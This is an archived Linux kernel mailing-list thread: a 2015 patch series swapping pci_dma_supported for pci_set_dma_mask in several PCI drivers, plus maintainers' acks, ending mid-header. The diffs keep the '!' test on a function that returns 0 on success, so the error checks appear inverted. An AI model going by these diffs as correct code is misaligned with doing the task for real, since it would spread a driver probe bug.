From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.usb.general,gmane.comp.video.dri.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: [PATCH 05/15] cx88: use pci_set_dma_mask insted of pci_dma_supported
Date: Sat,  3 Oct 2015 17:19:29 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <1443885579-7094-6-git-send-email-hch@lst.de>
References: <1443885579-7094-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1443886147 18960 80.91.229.3 (3 Oct 2015 15:29:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Oct 2015 15:29:07 +0000 (UTC)
Cc: linux-net-drivers-s/n/eUQHGBpZroRs9YW3xA@public.gmane.org, dri-devel-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org,
	linux-media-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, netdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-serial-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	Don Fry <pcnet32-/1bC63wxbnBWk0Htik3J/w@public.gmane.org>,
	Oliver Neukum <oneukum-IBi9RG/b67k@public.gmane.org>
Original-X-From: linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Sat Oct 03 17:29:04 2015
Return-path: <linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glug-linux-usb-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1ZiOkB-0005go-HN
	for glug-linux-usb-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Sat, 03 Oct 2015 17:29:03 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752886AbbJCPXp (ORCPT <rfc822;glug-linux-usb@m.gmane.org>);
	Sat, 3 Oct 2015 11:23:45 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:51207 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752157AbbJCPXk (ORCPT
	<rfc822;linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Sat, 3 Oct 2015 11:23:40 -0400
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZiOeu-0004PA-Hk; Sat, 03 Oct 2015 15:23:36 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1443885579-7094-1-git-send-email-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-usb.vger.kernel.org>
X-Mailing-List: linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.usb.general:131783 gmane.comp.video.dri.devel:138025 gmane.linux.drivers.video-input-infrastructure:95626 gmane.linux.network:380768 gmane.linux.ports.parisc:26067 gmane.linux.serial:20110 gmane.linux.kernel:2053292
Archived-At: <http://permalink.gmane.org/gmane.linux.usb.general/131783>

This ensures the dma mask that is supported by the driver is recorded
in the device structure.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 drivers/media/pci/cx88/cx88-alsa.c  | 2 +-
 drivers/media/pci/cx88/cx88-mpeg.c  | 2 +-
 drivers/media/pci/cx88/cx88-video.c | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/drivers/media/pci/cx88/cx88-alsa.c b/drivers/media/pci/cx88/cx88-alsa.c
index 7f8dc60..0703a81 100644
--- a/drivers/media/pci/cx88/cx88-alsa.c
+++ b/drivers/media/pci/cx88/cx88-alsa.c
@@ -890,7 +890,7 @@ static int snd_cx88_create(struct snd_card *card, struct pci_dev *pci,
 		return err;
 	}
 
-	if (!pci_dma_supported(pci,DMA_BIT_MASK(32))) {
+	if (!pci_set_dma_mask(pci,DMA_BIT_MASK(32))) {
 		dprintk(0, "%s/1: Oops: no 32bit PCI DMA ???\n",core->name);
 		err = -EIO;
 		cx88_core_put(core, pci);
diff --git a/drivers/media/pci/cx88/cx88-mpeg.c b/drivers/media/pci/cx88/cx88-mpeg.c
index 34f5057..9b3b565 100644
--- a/drivers/media/pci/cx88/cx88-mpeg.c
+++ b/drivers/media/pci/cx88/cx88-mpeg.c
@@ -393,7 +393,7 @@ static int cx8802_init_common(struct cx8802_dev *dev)
 	if (pci_enable_device(dev->pci))
 		return -EIO;
 	pci_set_master(dev->pci);
-	if (!pci_dma_supported(dev->pci,DMA_BIT_MASK(32))) {
+	if (!pci_set_dma_mask(dev->pci,DMA_BIT_MASK(32))) {
 		printk("%s/2: Oops: no 32bit PCI DMA ???\n",dev->core->name);
 		return -EIO;
 	}
diff --git a/drivers/media/pci/cx88/cx88-video.c b/drivers/media/pci/cx88/cx88-video.c
index 400e5ca..f12af31 100644
--- a/drivers/media/pci/cx88/cx88-video.c
+++ b/drivers/media/pci/cx88/cx88-video.c
@@ -1311,7 +1311,7 @@ static int cx8800_initdev(struct pci_dev *pci_dev,
 	       dev->pci_lat,(unsigned long long)pci_resource_start(pci_dev,0));
 
 	pci_set_master(pci_dev);
-	if (!pci_dma_supported(pci_dev,DMA_BIT_MASK(32))) {
+	if (!pci_set_dma_mask(pci_dev,DMA_BIT_MASK(32))) {
 		printk("%s/0: Oops: no 32bit PCI DMA ???\n",core->name);
 		err = -EIO;
 		goto fail_core;
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-usb" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.comp.video.dri.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.usb.general
Subject: [PATCH 03/15] saa7164: use pci_set_dma_mask insted of pci_dma_supported
Date: Sat,  3 Oct 2015 17:19:27 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <1443885579-7094-4-git-send-email-hch@lst.de>
References: <1443885579-7094-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1443886165 19129 80.91.229.3 (3 Oct 2015 15:29:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Oct 2015 15:29:25 +0000 (UTC)
Cc: linux-net-drivers@solarflare.com, dri-devel@lists.freedesktop.org,
	linux-media@vger.kernel.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-serial@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-kernel@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	Don Fry <pcnet32@frontier.com>,
	Oliver Neukum <oneukum@suse.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 03 17:29:17 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZiOkL-0006A7-Pa
	for glk-linux-kernel-3@plane.gmane.org; Sat, 03 Oct 2015 17:29:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753428AbbJCP3F (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 3 Oct 2015 11:29:05 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:51191 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752879AbbJCPXp (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 3 Oct 2015 11:23:45 -0400
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZiOeo-0004Ma-Qo; Sat, 03 Oct 2015 15:23:31 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1443885579-7094-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2053293 gmane.comp.video.dri.devel:138026 gmane.linux.drivers.video-input-infrastructure:95627 gmane.linux.network:380769 gmane.linux.ports.parisc:26068 gmane.linux.serial:20111 gmane.linux.usb.general:131784
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2053293>

This ensures the dma mask that is supported by the driver is recorded
in the device structure.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 drivers/media/pci/saa7164/saa7164-core.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/media/pci/saa7164/saa7164-core.c b/drivers/media/pci/saa7164/saa7164-core.c
index 3206a82..8f36b48 100644
--- a/drivers/media/pci/saa7164/saa7164-core.c
+++ b/drivers/media/pci/saa7164/saa7164-core.c
@@ -1264,7 +1264,7 @@ static int saa7164_initdev(struct pci_dev *pci_dev,
 
 	pci_set_master(pci_dev);
 	/* TODO */
-	if (!pci_dma_supported(pci_dev, 0xffffffff)) {
+	if (!pci_set_dma_mask(pci_dev, 0xffffffff)) {
 		printk("%s/0: Oops: no 32bit PCI DMA ???\n", dev->name);
 		err = -EIO;
 		goto fail_irq;
-- 
1.9.1


From - Thu Nov 08 21:37:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.comp.video.dri.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.usb.general
Subject: [PATCH 02/15] tw68-core: use pci_set_dma_mask insted of pci_dma_supported
Date: Sat,  3 Oct 2015 17:19:26 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <1443885579-7094-3-git-send-email-hch@lst.de>
References: <1443885579-7094-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1443886219 20026 80.91.229.3 (3 Oct 2015 15:30:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Oct 2015 15:30:19 +0000 (UTC)
Cc: linux-net-drivers@solarflare.com, dri-devel@lists.freedesktop.org,
	linux-media@vger.kernel.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-serial@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-kernel@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	Don Fry <pcnet32@frontier.com>,
	Oliver Neukum <oneukum@suse.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 03 17:30:12 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZiOlF-0007Bn-Q4
	for glk-linux-kernel-3@plane.gmane.org; Sat, 03 Oct 2015 17:30:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753186AbbJCPaA (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 3 Oct 2015 11:30:00 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:51180 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752503AbbJCPXm (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 3 Oct 2015 11:23:42 -0400
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZiOel-0004MI-Vw; Sat, 03 Oct 2015 15:23:28 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1443885579-7094-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2053294 gmane.comp.video.dri.devel:138027 gmane.linux.drivers.video-input-infrastructure:95628 gmane.linux.network:380770 gmane.linux.ports.parisc:26069 gmane.linux.serial:20112 gmane.linux.usb.general:131785
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2053294>

This ensures the dma mask that is supported by the driver is recorded
in the device structure.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 drivers/media/pci/tw68/tw68-core.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/media/pci/tw68/tw68-core.c b/drivers/media/pci/tw68/tw68-core.c
index 04706cc..8c5655d 100644
--- a/drivers/media/pci/tw68/tw68-core.c
+++ b/drivers/media/pci/tw68/tw68-core.c
@@ -257,7 +257,7 @@ static int tw68_initdev(struct pci_dev *pci_dev,
 		dev->name, pci_name(pci_dev), dev->pci_rev, pci_dev->irq,
 		dev->pci_lat, (u64)pci_resource_start(pci_dev, 0));
 	pci_set_master(pci_dev);
-	if (!pci_dma_supported(pci_dev, DMA_BIT_MASK(32))) {
+	if (!pci_set_dma_mask(pci_dev, DMA_BIT_MASK(32))) {
 		pr_info("%s: Oops: no 32bit PCI DMA ???\n", dev->name);
 		err = -EIO;
 		goto fail1;
-- 
1.9.1


From - Thu Nov 08 21:37:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.comp.video.dri.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.network,gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.usb.general
Subject: [PATCH 01/15] pcnet32: use pci_set_dma_mask insted of pci_dma_supported
Date: Sat,  3 Oct 2015 17:19:25 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <1443885579-7094-2-git-send-email-hch@lst.de>
References: <1443885579-7094-1-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1443886269 20764 80.91.229.3 (3 Oct 2015 15:31:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Oct 2015 15:31:09 +0000 (UTC)
Cc: linux-net-drivers@solarflare.com, dri-devel@lists.freedesktop.org,
	linux-media@vger.kernel.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-serial@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-kernel@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
	Don Fry <pcnet32@frontier.com>,
	Oliver Neukum <oneukum@suse.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Oct 03 17:31:03 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZiOm5-00085K-VL
	for glk-linux-kernel-3@plane.gmane.org; Sat, 03 Oct 2015 17:31:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752963AbbJCPax (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 3 Oct 2015 11:30:53 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:51174 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752290AbbJCPXb (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 3 Oct 2015 11:23:31 -0400
Original-Received: from [83.175.99.196] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ZiOej-0004ME-2z; Sat, 03 Oct 2015 15:23:25 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1443885579-7094-1-git-send-email-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2053295 gmane.comp.video.dri.devel:138028 gmane.linux.drivers.video-input-infrastructure:95629 gmane.linux.network:380771 gmane.linux.ports.parisc:26070 gmane.linux.serial:20113 gmane.linux.usb.general:131786
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2053295>

This ensures the dma mask that is supported by the driver is recorded
in the device structure.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 drivers/net/ethernet/amd/pcnet32.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/net/ethernet/amd/pcnet32.c b/drivers/net/ethernet/amd/pcnet32.c
index bc8b04f..e2afabf 100644
--- a/drivers/net/ethernet/amd/pcnet32.c
+++ b/drivers/net/ethernet/amd/pcnet32.c
@@ -1500,7 +1500,7 @@ pcnet32_probe_pci(struct pci_dev *pdev, const struct pci_device_id *ent)
 		return -ENODEV;
 	}
 
-	if (!pci_dma_supported(pdev, PCNET32_DMA_MASK)) {
+	if (!pci_set_dma_mask(pdev, PCNET32_DMA_MASK)) {
 		if (pcnet32_debug & NETIF_MSG_PROBE)
 			pr_err("architecture does not support 32bit PCI busmaster DMA\n");
 		return -ENODEV;
-- 
1.9.1


From - Thu Nov 08 21:37:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mauro Carvalho Chehab <mchehab@osg.samsung.com>
Newsgroups: gmane.linux.network,gmane.comp.video.dri.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.usb.general,gmane.linux.kernel
Subject: Re: [PATCH 05/15] cx88: use pci_set_dma_mask insted of
 pci_dma_supported
Date: Sat, 3 Oct 2015 13:58:16 -0300
Organization: Samsung
Lines: 61
Approved: news@gmane.org
Message-ID: <20151003135816.23cb243f@recife.lan>
References: <1443885579-7094-1-git-send-email-hch@lst.de>
	<1443885579-7094-6-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1443891535 6253 80.91.229.3 (3 Oct 2015 16:58:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 3 Oct 2015 16:58:55 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Don Fry <pcnet32@frontier.com>,
	Oliver Neukum <oneukum@suse.com>,
	linux-net-drivers@solarflare.com, dri-devel@lists.freedesktop.org,
	linux-media@vger.kernel.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-serial@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-kernel@vger.kernel.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: netdev-owner@vger.kernel.org Sat Oct 03 18:58:39 2015
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1ZiQ8r-0000Ha-W6
	for linux-netdev-2@plane.gmane.org; Sat, 03 Oct 2015 18:58:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751106AbbJCQ61 (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
	Sat, 3 Oct 2015 12:58:27 -0400
Original-Received: from lists.s-osg.org ([54.187.51.154]:47217 "EHLO lists.s-osg.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750779AbbJCQ6Z (ORCPT <rfc822;netdev@vger.kernel.org>);
	Sat, 3 Oct 2015 12:58:25 -0400
Original-Received: from recife.lan (unknown [179.182.160.147])
	by lists.s-osg.org (Postfix) with ESMTPSA id AA413462CB;
	Sat,  3 Oct 2015 09:58:20 -0700 (PDT)
In-Reply-To: <1443885579-7094-6-git-send-email-hch@lst.de>
X-Mailer: Claws Mail 3.12.0 (GTK+ 2.24.28; x86_64-redhat-linux-gnu)
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:380775 gmane.comp.video.dri.devel:138030 gmane.linux.drivers.video-input-infrastructure:95630 gmane.linux.ports.parisc:26071 gmane.linux.serial:20114 gmane.linux.usb.general:131788 gmane.linux.kernel:2053315
Archived-At: <http://permalink.gmane.org/gmane.linux.network/380775>

Hi Christoph,


Em Sat,  3 Oct 2015 17:19:29 +0200
Christoph Hellwig <hch@lst.de> escreveu:

> This ensures the dma mask that is supported by the driver is recorded
> in the device structure.


For this and the other patches touching at drivers/media:

Acked-by: Mauro Carvalho Chehab <mchehab@osg.samsung.com>

> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>  drivers/media/pci/cx88/cx88-alsa.c  | 2 +-
>  drivers/media/pci/cx88/cx88-mpeg.c  | 2 +-
>  drivers/media/pci/cx88/cx88-video.c | 2 +-
>  3 files changed, 3 insertions(+), 3 deletions(-)
> 
> diff --git a/drivers/media/pci/cx88/cx88-alsa.c b/drivers/media/pci/cx88/cx88-alsa.c
> index 7f8dc60..0703a81 100644
> --- a/drivers/media/pci/cx88/cx88-alsa.c
> +++ b/drivers/media/pci/cx88/cx88-alsa.c
> @@ -890,7 +890,7 @@ static int snd_cx88_create(struct snd_card *card, struct pci_dev *pci,
>  		return err;
>  	}
>  
> -	if (!pci_dma_supported(pci,DMA_BIT_MASK(32))) {
> +	if (!pci_set_dma_mask(pci,DMA_BIT_MASK(32))) {
>  		dprintk(0, "%s/1: Oops: no 32bit PCI DMA ???\n",core->name);
>  		err = -EIO;
>  		cx88_core_put(core, pci);
> diff --git a/drivers/media/pci/cx88/cx88-mpeg.c b/drivers/media/pci/cx88/cx88-mpeg.c
> index 34f5057..9b3b565 100644
> --- a/drivers/media/pci/cx88/cx88-mpeg.c
> +++ b/drivers/media/pci/cx88/cx88-mpeg.c
> @@ -393,7 +393,7 @@ static int cx8802_init_common(struct cx8802_dev *dev)
>  	if (pci_enable_device(dev->pci))
>  		return -EIO;
>  	pci_set_master(dev->pci);
> -	if (!pci_dma_supported(dev->pci,DMA_BIT_MASK(32))) {
> +	if (!pci_set_dma_mask(dev->pci,DMA_BIT_MASK(32))) {
>  		printk("%s/2: Oops: no 32bit PCI DMA ???\n",dev->core->name);
>  		return -EIO;
>  	}
> diff --git a/drivers/media/pci/cx88/cx88-video.c b/drivers/media/pci/cx88/cx88-video.c
> index 400e5ca..f12af31 100644
> --- a/drivers/media/pci/cx88/cx88-video.c
> +++ b/drivers/media/pci/cx88/cx88-video.c
> @@ -1311,7 +1311,7 @@ static int cx8800_initdev(struct pci_dev *pci_dev,
>  	       dev->pci_lat,(unsigned long long)pci_resource_start(pci_dev,0));
>  
>  	pci_set_master(pci_dev);
> -	if (!pci_dma_supported(pci_dev,DMA_BIT_MASK(32))) {
> +	if (!pci_set_dma_mask(pci_dev,DMA_BIT_MASK(32))) {
>  		printk("%s/0: Oops: no 32bit PCI DMA ???\n",core->name);
>  		err = -EIO;
>  		goto fail_core;

From - Thu Nov 08 21:37:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.comp.video.dri.devel,gmane.linux.drivers.video-input-infrastructure,gmane.linux.network,gmane.linux.serial,gmane.linux.usb.general,gmane.linux.kernel
Subject: Re: [PATCH 15/15] dma: remove external references to dma_supported
Date: Sun, 4 Oct 2015 10:57:34 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20151004095734.GB29706@kroah.com>
References: <1443885579-7094-1-git-send-email-hch@lst.de>
 <1443885579-7094-16-git-send-email-hch@lst.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1443952673 15243 80.91.229.3 (4 Oct 2015 09:57:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 4 Oct 2015 09:57:53 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Don Fry <pcnet32@frontier.com>,
	Oliver Neukum <oneukum@suse.com>,
	linux-net-drivers@solarflare.com, dri-devel@lists.freedesktop.org,
	linux-media@vger.kernel.org, netdev@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-serial@vger.kernel.org,
	linux-usb@vger.kernel.org, linux-kernel@vger.kernel.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 04 11:57:45 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Zig35-0001Er-Kr
	for glpp-linux-parisc@plane.gmane.org; Sun, 04 Oct 2015 11:57:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751338AbbJDJ5m (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 4 Oct 2015 05:57:42 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:53041 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751237AbbJDJ5l (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 4 Oct 2015 05:57:41 -0400
Original-Received: from localhost (unknown [193.120.146.54])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 42492307;
	Sun,  4 Oct 2015 09:57:39 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1443885579-7094-16-git-send-email-hch@lst.de>
User-Agent: Mutt/1.5.24 (2015-08-30)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26072 gmane.comp.video.dri.devel:138038 gmane.linux.drivers.video-input-infrastructure:95637 gmane.linux.network:380810 gmane.linux.serial:20116 gmane.linux.usb.general:131797 gmane.linux.kernel:2053449
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26072>

On Sat, Oct 03, 2015 at 05:19:39PM +0200, Christoph Hellwig wrote:
> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>  Documentation/DMA-API.txt       | 13 -------------
>  drivers/usb/host/ehci-hcd.c     |  2 +-
>  drivers/usb/host/fotg210-hcd.c  |  2 +-
>  drivers/usb/host/fusbh200-hcd.c |  2 +-
>  drivers/usb/host/oxu210hp-hcd.c |  2 +-
>  5 files changed, 4 insertions(+), 17 deletions(-)


Acked-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bert Kenward <bkenward@solarflare.com>
